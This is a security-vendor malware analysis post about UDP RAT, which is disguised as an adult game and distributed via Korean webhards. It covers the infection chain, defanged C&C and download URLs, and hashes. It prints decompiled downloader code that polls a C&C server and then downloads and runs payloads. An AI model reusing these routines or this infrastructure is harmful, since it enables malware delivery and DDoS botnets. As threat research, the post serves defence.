UDP RAT Malware Being Distributed via Webhards

asec.ahnlab.com/en/27555

October 21, 2021

While monitoring the distribution source of malware in Korea, the ASEC analysis team found that UDP RAT malware disguised as an adult game is being distributed via webhards. Webhards and torrents are platforms commonly used for the distribution of malware in Korea.

Attackers normally use easily obtainable malware such as njRAT and UDP RAT and disguise them as normal programs such as games or adult content for distribution. Similar cases were introduced in the previous ASEC blogs multiple times:

- njRAT Being Distributed through Webhards and Torrents
- njRAT Malware Distributed via Major Korean Webhard

Malware types introduced in the posts above are still being found, and DDoS malware such as Simple UDP RAT is usually used instead of njRAT. As shown in the figure below, the download page of the webhard that distributes a compressed file containing malware is disguised as an adult game.

The attacker uses few other compressed files other than the post above to distribute the malware. Note that the games differ but the malware inside the compressed files is the same as what will be discussed below.

The downloaded compressed zip file has the following files, and the user would run the "Game..exe" file to play the game.

	이름 ^		수정한 날찌	h.	유형		크기
	Dat		2021-09-3	0 오후 7:58	파일 폴더	1	
×	locales		2021-09-3	0 오후 7:58	파일 폴더	1	
*	swiftshader		2021-09-3	0 오후 7:58	파일 폴더	1	
*	www		2021-09-3	0 오후 7:58	파일 폴더	1	
*	📀 credits.html		2021-09-0	9 오후 11:57	Chrome	HTML Doc	1,970KB
	d3dcompiler_4	7.dll	2021-09-0	9 오후 11:57	응용 프로	리그램 확장	3,576KB
	🗟 ffmpeg.dll		2021-09-0	9 오후 1 <mark>1:</mark> 57	응용 프로	르그램 확장	2,010KB
	😽 Gameexe		2021-09-1	6 오후 9:57	응용 프로	리그램	2,083KB
	📄 icudtl.dat		2021-09-0	9 오후 11:57	DAT 파일	1	9,933KB
	libEGL.dll		2021-09-0	9 오후 11:57	응용 프로	르그램 확장	77KB
	libGLESv2.dll		2021-09-0	9 오후 11:57	응용 프로	르그램 확장	3,644KB
	natives_blob.bi	n	2021-09-0	9 오후 11:57	BIN 파일		201KB
	🗟 node.dll		2021-09-0	9 오후 11:57	응용 프로	르그램 확장	5,615KB
	Nw.dll		2021-09-0	9 오후 11:57	응용 프로	리그램 확장	82,404KB
	nw_100_percer	it.pak	2021-09-0	9 오후 11:57	PAK 파일		809KB
	nw_200_percen	it.pak	2021-09-0	9 오후 1 <mark>1:</mark> 57	PAK 파일		1,074KB
	Nw_elf.dll		2021-09-0	9 오후 11:57	응용 프로	르그램 확장	440KB
금 번역] 안보이	는여자의 수난					~	
이르	^	수정하 날짜		유형		371	1
Dat		2021 00 20	0 = 7.50	피아폭티			
Dat		2021-09-30	조우 7.08 이후 7.50	피한 포터			
inclues wittehad	lor	2021-09-30	조구 7.30 이후 7:50	피의 포디			
SWITCHIAG		2021-09-30	조구 7.50 이승 7.50	피아 포더			
Credits ht	ml	2021-09-30	오는 11·57		Doc	1 070KB	
d3dcomr	niler 47 dll	2021-09-09	스구 11.57 이후 11·57	으요 프로그라	L DOU	3 576KB	
S ffmnea d	II	2021-09-09	오흐 11:57	으요 프로그램	화자	2 010KB	
Game ex	e	2021-09-16	오후 9:57	응용 프로그램		2.083KB	
icudtl dat		2021-09-09	_ 1 5.51 오후 11:57	DAT 파일	5. 	9 933KB	
libEGL dll		2021-09-09	오후 11:57	응용 프로그램	확장	77KB	
libGLESv/	2.dll	2021-09-09	오후 11:57	응용 프로그램	확장	3.644KB	
natives b	lob.bin	2021-09-09	· 오후 11:57	BIN 파일	10 - 10,575	201KB	
node.dll		2021-09-09	오후 11:57	응용 프로그램	확장	5.615KB	
Nw.dll		2021-09-09	오후 11:57	응용 프로그램	확장	82,404KB	
 	percent.pak	2021-09-09	오후 11:57	PAK 파일	R (1978	809KB	
] nw_200	percent.pak	2021-09-09	오후 11:57	PAK 파일		1,074KB	
Nw_elf.dl		2021-09-09	오후 11:57	응용 프로그램	확장	440KB	
	로 번역] 안보이 이름 Dat Iocales swiftshad www credits.ht Iocales swiftshad Www credits.ht Iocales swiftshad Iocales Iocal	이를 Dat locales swiftshader www credits.html d3dcompiler_41 ffmpeg.dll Game.exe icudtl.dat libEGL.dll libGLESv2.dll natives_blob.bin node.dll nw_100_percen nw_elf.dll tocales swiftshader www credits.html d3dcompiler_47.dll ffmpeg.dll Game.exe icudtl.dat libEGL.dll libEGL.dll libEGL.dll libEGL.dll natives_blob.bin node.dll mutices_blob.bin node.dll natives_blob.bin node.dll natives_blob.bin node.dll natives_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin node.dll nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin nutcos_blob.bin	이름 ^ Dat locales swiftshader www c credits.html d ddcompiler_47.dll fmpeg.dll fmpeg.dll fmpeg.dll ibEGL.dll ibEGL.dll ibEGL.dll in natives_blob.bin in onde.dll nw.100_percent.pak nw_elf.dll nw_100_percent.pak nw_elf.dll rw.200_percent.pak nw_elf.dll bat 2021-09-30 locales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales 2021-09-30 iocales iocales 2021-09-30 iocales 2021-09-09 iocales iocales 2021-09-09 iocales iocales 2021-09-09 iocales	이름 ^ 수정한 날짜 Dat 2021-09-30 iocales 2021-09-30 iswiftshader 2021-09-30 iwww 2021-09-30 iiocales 2021-09-30 iiocales 2021-09-30 iiiocales 2021-09-30 iiiocalti.html 2021-09-00 iiiocalti.html 2021-09-00 iiiocalti.dat 2021-09-00 iiiocales 2021-09-00 iiiocales 2021-09-00 iiiocales 2021-09-30 iiiocales 2021-09-30 iiiocales 2021-09-30 iiiocales 2021-09-30 iiiocales 2021-09-30	이름 ^A 30 ½ m. ○ Dat 2021-09-30 오후 7:58 ○ locales 2021-09-30 오후 7:58 ○ wiftshader 2021-09-30 오후 7:58 ○ wiftshader 2021-09-09 오후 11:57 ○ dadcompiler_47.dll 2021-09-09 오후 11:57 ○ ffmpeg.dll 2021-09-09 오후 11:57 ○ ffmpeg.dll 2021-09-09 오후 11:57 ○ libEGL.dll 2021-09-09 오후 11:57 ○ node.dll 2021-09-09 오후 11:57 ○ nw.dll 2021-09-09 오후 11:57 ○ nw.dll 2021-09-09 오후 11:57 ○ nw.dll 2021-09-09 오후 11:57 ○ nw.dlf.dll 2021-09-09 오후 11:57 ○ nw.dlf 2021-09-09 오후 11:57 ○ nw.dlf.dll 2021-09-09 오후 11:57 ○ nw.dlf 2021-09-09	이름 수정한 날짜 유형 Dat 2021-09-30 오후 7:58 파일 물⊡ is birtishader 2021-09-30 오후 7:58 파일 물ご is wirtishader 2021-09-30 오후 7:58 파일 물ご is wirtishader 2021-09-30 오후 7:58 파일 물ご is wirtishader 2021-09-30 오후 7:58 파일 물ご is didcompiler_47.dll 2021-09-09 오후 11:57 SR 프로 icutd1.dat 2021-09-09 오후 11:57 SR 프로 icutd1.dat 2021-09-09 오후 11:57 SR 프로 icutd1.dat 2021-09-09 오후 11:57 SR 프로 intities_blob.bin 2021-09-09 오후 11:57 PAK 파일 intities_blob.bin 2021-09-09 오후 11:57 PAK 파일 intities_blob.bin 2021-09-09 오후 11:57 PAK m2 intities_blob.bin 2021-09-30 오후 7:58 파일 물ご intities_blob.bin 2021-09-30	이문 수정한 날짜 유형 Dat 2021-09-30 오후 7:58 파일 몰더 ibcales 2021-09-30 오후 7:58 파일 몰더 swiftshader 2021-09-30 오후 7:58 파일 몰더 www 2021-09-30 오후 7:58 파일 몰더 credits.html 2021-09-09 오후 11:57 Chrome HTML Doc 전 d3dcompiler_47.dll 2021-09-09 오후 11:57 응용 프로그램 확장 한 fimpeg.dll 2021-09-09 오후 11:57 응용 프로그램 확장 한 fimpeg.dll 2021-09-09 오후 11:57 응용 프로그램 확장 한 d3dcompiler_47.dll 2021-09-09 오후 11:57 응용 프로그램 확장 1 icuttl.dat 2021-09-09 오후 11:57 S용 프로그램 확장 1 inditicat 2021-09-09 오후 11:57 SR 프로그램 확장 1 natives_blob.bin 2021-09-09 오후 11:57 SR 프로그램 확장 1 natives_blob.bin 2021-09-09 오후 11:57 PAK 파일 1 nw_100_percent.pak 2021-09-09 오후 11:57 PAK 파일 1 nw_200_percent.pak 2021-09-09 오후 11:57 PAK 파일 1 nw_200_percent.pak 2021-09-09 오후 11:57 PAK 파일 1 nw_200_percent.pak 2021-09-09 오후 11:57 PAK 파일

Figure 1. Malware disguised as Game..exe file

However, "Game..exe" is not a game program launcher, but a launcher malware that runs a different malware. It runs the stick.dat malware file that exists in the Dat folder with the routine below, and after copying the Ob.dat file as Game.exe, it runs the file.



Figure 2. Routine for running the malware in Dat folder

The file that is copied as Game.exe and run is an actual game program launcher, thus the user would think that the game has run normally.

Once the process above is complete, the "Game..exe" file becomes hidden, therefore, the user then uses Game.exe, which is the copied game program launcher. Apart from that, the stick.dat file that was run via the launcher malware is the ALZIP SFX program, and it creates two malware "Uninstall.exe" and "op.gg.setup.apk" in the C:\Program Files\4.0389 folder.

		이름	수정한 닐	할짜	유형	크기
		🐻 Op.gg.exe	2021-09	-30 오후 8:47	응용 프로그램	7,859KE
	×	op.gg.setup.apk	2021-09	-21 오후 1:38	APK 파일	8,675K
	*	88 Uninstall.exe	2021-09	-21 오후 1:14	응용 프로그램	2,0186
-H F	PC > 로컬 디스	:크 (C:) → Program F	iles > 4.0389			
-H F	PC > 로컬 디스 이름	:크 (C:) > Program F ^ 수정]	iles → 4.0389 한 날짜	유형	크기	
-H F	PC > 로컬 디스 이름	:크 (C:) → Program F ^ 수정함 a 2021	iles → 4.0389 한 날짜 -09-30 오후 8:47	유형 응용 프로그램	크기 7,859KB	
-H F	PC > 로컬 디스 이름 認 Op.gg.exe] op.gg.set	논크 (C:) → Program F ^ 수정 e 2021 up.apk 2021	iles → 4.0389 한 날짜 -09-30 오후 8:47 -09-21 오후 1:38	유형 응용 프로그램 APK 파일	크기 7,859KB 8,675KB	

Figure 3. Dropped malware

After stick.dat creates the files, it runs Uninstall.exe. Uninstall.exe is another launcher malware that runs op.gg.setup.apk. Op.gg.setup.apk is a downloader malware that downloads the Op.gg.exe file from the following address in the same directory and runs it.

- Download URL:

hxxps://cdn.discordapp[.]com/attachments/872548745902948365/889723452569845830/Op.gg.exe

Op.gg.exe registers itself to Run key, runs the normal program

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe", and injects the original malware. The original malware injected to SMSvcHost.exe is a downloader malware that periodically connects to the C&C server to obtain the address of additional malware to be downloaded.

- C&C URL: hxxp://ondisk.kibot[.]pw:8080/links/UserTwo

	•	16 17 18 19 20 21 22 23 24 25 26 27 28	private static void Main({ ServicePointManager.E ServicePointManager.S String url = "http:// for (;;) { try { String text = Console.Write int num = Cor {) Expect100Continue = true; EccurityProtocol = (SecurityPr " + Program.host + "/links/" Program.Request(url); Line(text); Evert.Tolnt32(text.Split(new s	otocolType.Ssl3 + Program.tag; tring[]
	100 %	29 30 31 32 33	"\"\"\" }, StringSpli { })[1]);	tOptions.None)[0]. <mark>Split(new</mark> c	har[]
	Local	S contraction	Malue	Trees	1
	Nam	10	Value	lype	
		uri	"http://ohdisk.kibot.pw:8080/links/u	iseriwo" string	
		lext	41uii 0×00000000	int	
		flag	false	hool	
		arrav	pull	string	
		i	0v0000000	int	
		url2	pull	string	
	D 🖌	value	null	System Exception	
•	16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 32 33 32 33	priv (ate static void Main() ServicePointManager.Expect100C ServicePointManager.SecurityPr string url = "http://" + Progr for (;;) { try { try { string text = Program. Console.WriteLine(text int num = Convert.Toln { "WrWn" }, StringSplitOptions. { })[1]);	ontinue = true; otocol = (SecurityProtocolTyp am.host + "/links/" + Program Request(url);); t32(text.Split(new string[] None)[0].Split(new char[]	e.SsI3 .tag;
Locals	c				00000000000
Nam	e	Value		Type	
	url	"http://or	udisk kibot pw 8080/links/UserTwo"	string	
-	text	null	and a second second second second	string	
	num	0x000000	000	int	
	flag	false		bool	
	array	null		string	
4	i	0x000000	000	int	
-	url2	null		string	
ba	value	pull		System Exception	
	value	nun		oystem.exception	

Figure 4. Connecting to the C&C server to obtain additional malware download address

If the additional malware address is obtained from the C&C server, it downloads additional malware in C:\Steam_Kr\ folder and runs it as shown below.

```
private static bool Download(string url)
   bool flag = url == "";
   bool result;
    if (flag)
        result = true;
            string[] array = url.Split(new char[]
            1):
            string text = Environment.GetEnvironmentVariable("C:") + "##Steam_Kr##sys_" + Program.RandomString(9);
            Directory.CreateDirectory(text);
            string fileName = text + "##" + array[array.Length - 1];
            WebClient webClient = new WebClient();
            webClient.DownloadFile(url, fileName);
            ProcessStartInfo startInfo = new ProcessStartInfo
                FileName = fileName,
            Process.Start(startInfo);
private static bool Download(string url)
   bool flag = url == "";
   bool result;
    if (flag)
       result = true;
            string[] array = url.Split(new char[]
            3):
            string text = Environment.GetEnvironmentVariable("C:") + "##Steam_Kr##sys_" + Program.RandomString(9);
            Directory.CreateDirectory(text);
            string fileName = text + "##" + array[array.Length - 1];
            WebClient webClient = new WebClient();
            webClient.DownloadFile(url, fileName);
            ProcessStartInfo startInfo = new ProcessStartInfo
                FileName = fileName,
            Process.Start(startInfo);
```

Figure 5. Routine for writing the downloaded file in Steam_Kr directory and running it

As the team has not currently obtained the download URL from the C&C server, it could not check what the malware does after. However, numerous malware that is downloaded by such malware can be found in AhnLab's ASD infrastructure. Most of the downloaded malware is open-source malware UDP Rat that can perform UDP Flood DdoS attacks.

📮 illusi0n / Simple-UDP-Rat			⊙ Watch 👻	1 ★ Unstar 2
<> Code ① Issues 11 Pull reque	sts 🕑 Actions 🔟 Project	s 🖽 Wiki 🛈 Security 🗠 Insig	ghts	
ਏ master → ਏ 1 branch ा tags		Go to file Add file -	<u>↓</u> Code +	About
illusi0n Remove Junks		658fc0d on 2 May 🖸)5 commits	flood udp-rat
Client	Update main.cc	5 1	months ago	🛱 Readme
Server	Remove Junks		last month	
C README.md	Remove Junks		last month	Releases
				No releases published
Simple-UDP-Rat				Packages No packages published
RAT for UDP flood				Languages
 Every packets encrypted with S UDP Flood 	Salsa20			• C++ 100.0%
📮 illusi0n / Simple-UDP-Rat			⊙ Watch 👻	1 ★ Unstar 2
Code ① Issues ① Pull reque	sts ⓒ Actions 배 Project	s 🛱 Wiki 🛈 Security 🗠 Insig	⊘ Watch →	1 🖈 Unstar 2
illusion / Simple-UDP-Rat Code Issues Pull reque reque	sts ⓒ Actions 배 Project	s 🖽 Wiki 🛈 Security 🗠 Insig Go to file 🛛 Add file 🕶	⊙ Watch + ghts ⊻ Code -	1 🛨 Unstar 2
Image: symple-upp-Rat Image: symple-upp-Rat <td< td=""><td>ists ④ Actions 미 Project</td><td>s ♀ Wiki ⑦ Security ⊬ Insig Go to file Add file ▼ 658fc0d on 2 May €</td><td>• Watch → ghts • Code → • S commits</td><td>1 TUnstar 2 About RAT for UDP flood</td></td<>	ists ④ Actions 미 Project	s ♀ Wiki ⑦ Security ⊬ Insig Go to file Add file ▼ 658fc0d on 2 May €	• Watch → ghts • Code → • S commits	1 TUnstar 2 About RAT for UDP flood
□ illusi0n / Simple-UDP-Rat <> Code ① Issues 1 Pull reque 2* master 2* 1 branch ⊙ 0 tags □ illusi0n Remove Junks □ Client	sts ⓒ Actions 끤 Project Update main.cc	s 🖽 Wiki ① Security 🗠 Insig Go to file Add file - 658fc@d on 2 May 3 5 r	• Watch → ghts • Code → • S commits months ago	1 🛨 Unstar 2 About RAT for UDP flood flood udp-rat
 illusion / Simple-UDP-Rat Code () Issues () Pull reque master - () 1 branch () 0 tags illusion Remove Junks Client Server 	sts (Actions (Project Update main.cc Remove Junks	s 🖽 Wiki ① Security 🗠 Insig Go to file Add file - 658fc@d on 2 May 3 5 r	 ♥ Watch + ghts ♦ Code + ♦ Code + ♦ S commits months ago last month 	1 🛨 Unstar 2 About RAT for UDP flood flood udp-rat
 illusion / Simple-UDP-Rat Code () Issues () Pull reque master - () 1 branch () 0 tags illusion Remove Junks Client Server README.md 	sts (Actions (Project Update main.cc Remove Junks Remove Junks	s 🕮 Wiki ① Security 🗠 Insig Go to file Add file - 658fc0d on 2 May ℃ 5 r	 ♥ Watch + ghts ♥ Code + ♦ Cod	1 Tunstar 2 About RAT for UDP flood flood udp-rat Image: Readme Releases
□ illusi0n / Simple-UDP-Rat <> Code ① Issues ♪ Pull reque * master * 1 branch > 0 tags * master * 1 branch > 0 tags illusi0n Remove Junks □ Client Server README.md □	sts (•) Actions (III) Project Update main.cc Remove Junks Remove Junks	s 🕮 Wiki ① Security 🗠 Insig Go to file Add file - 658fc@d on 2 May ℃ 5 r	 ♥ Watch + ghts ♦ Code + ♦ Code + ♦ S commits months ago last month last month 	1 Tunstar 2 About RAT for UDP flood flood udp-rat Image: Releases No releases published
□ illusi0n / Simple-UDP-Rat <> Code ① Issues ?* master ?* 1 branch ?* master ?* 1 branch © illusi0n Remove Junks □ Client □ Server □ README.md	sts (•) Actions (11) Project Update main.cc Remove Junks Remove Junks	s 🕮 Wiki 💿 Security 🗠 Insig Go to file Add file • 658fc0d on 2 May 😋 5 r	 ♥ Watch + ghts ♥ Code + ♥ Cod	1 Unstar 2 About About RAT for UDP flood Idop-rat flood udp-rat Image: Releases Releases No releases published Packages No packages published No packages published
□ illusi0n / Simple-UDP-Rat <> Code ① Issues ?* master ?* 1 branch ?* master ?* 1 branch © illusi0n Remove Junks □ Client □ Server □ README.md Simple-UDP-Rat RAT for UDP flood Client	sts Actions Project Update main.cc Remove Junks Remove Junks	s III Wiki ③ Security I Insig Go to file Add file ▼ 658fc@d on 2 May ③ 5 r	• Watch → ghts • Code → • S commits months ago last month last month	1 Image: Unstar 2 About About RAT for UDP flood Image: Unstar 2 flood Image: U

Figure 6. Simple UDP Rat

The installed UDP Rat malware is usually packed with packers such as Themida to avoid detection, but some samples are not packed.

```
int stdcall noreturn WinMain(HINSTANCE hInstance, HINSTANCE
                      Ł
                         int64 v4; // rdx
                         int64 v5; // r8
                       char v6[464]; // [rsp+20h] [rbp-E0h] BYREF
                       int key[8]; // [rsp+1F0h] [rbp+F0h] BYREF
                       Sleep(0x3F56u);
                       key[0] = 0x30B65C2B;
                       key[1] = 0x11540527;
                       key[2] = 0x25523A26;
                       key[3] = 0x550902B7;
                       key[4] = 0x6A5C354A;
                       key[5] = 0x5E011C5E;
                       key[6] = 0x2BD75C3A;
                       key[7] = 0x630A5E0B;
                       CreateMutexA(0i64, 0, "37.0.11.171");
                       if ( GetLastError() == 183 )
                         exit(0);
int __stdcall __noreturn WinMain(HINSTANCE hInstance, HINSTANCE
 __int64 v4; // rdx
  __int64 v5; // r8
 char v6[464]; // [rsp+20h] [rbp-E0h] BYREF
 int key[8]; // [rsp+1F0h] [rbp+F0h] BYREF
 Sleep(0x3F56u);
 key[0] = 0x30B65C2B;
 key[1] = 0x11540527;
 key[2] = 0x25523A26;
 key[3] = 0x550902B7;
 key[4] = 0x6A5C354A;
 key[5] = 0x5E011C5E;
 key[6] = 0x2BD75C3A;
 key[7] = 0x630A5E0B;
 CreateMutexA(0i64, 0, "37.0.11.171");
 if ( GetLastError() == 183 )
   exit(0);
```



- C&C address of Simple UDP Rat: 37.0.11[.]171:49367

As shown in the examples above, the malware is being distributed actively via file sharing websites such as webhards. As such, caution is advised when approaching executables downloaded from a file-sharing website. We recommend users to download products from the official websites of developers.

[File Detection]

- Game..exe : Trojan/Win.Launcher.C4665771 (2021.10.01.01)
- stick.dat : Dropper/Win.Korat.C4662749 (2021.10.01.00)
- op.gg.setup.apk : Dropper/Win.Korat.R443431 (2021.10.01.00)
- Uninstall.exe : Trojan/Win.Launcher.C4665770 (2021.10.01.01)
- op.gg.exe : Downloader/Win.Korat.R443432 (2021.10.01.00)
- UDP RAT : Backdoor/Win.UDPRat.R443002 (2021.09.28.01)

[IOC]

Files

- Game..exe : 00357575f2789c91e7afc7d8e1c25d40
- stick.dat : 73052c60e447d60497c4567a5bc1885e
- op.gg.setup.apk : 1b1c9751f5aaf2a1c5afc15d6b82e90b
- Uninstall.exe : 17930cd5cbcf7d12856c81333d4b4713
- op.gg.exe : ee228a1b9d71fc6381e15e9364bf8fb9
- UDP RAT : d858cdf1d85128cc337305b644fe565f

Download URLs

- hxxps://cdn.discordapp[.]com/attachments/872548745902948365/889723452569845830/Op.gg.exe

C&C Servers

- Downloader malware C&C: hxxp://ondisk.kibot[.]pw:8080/links/UserTwo
- UDP Rat C&C : 37.0.11[.]171:49367

TAGGED AS:DDOS, WEBHARD, UDPRAT

Categories:Malware Information

Tagged as:udprat, webhard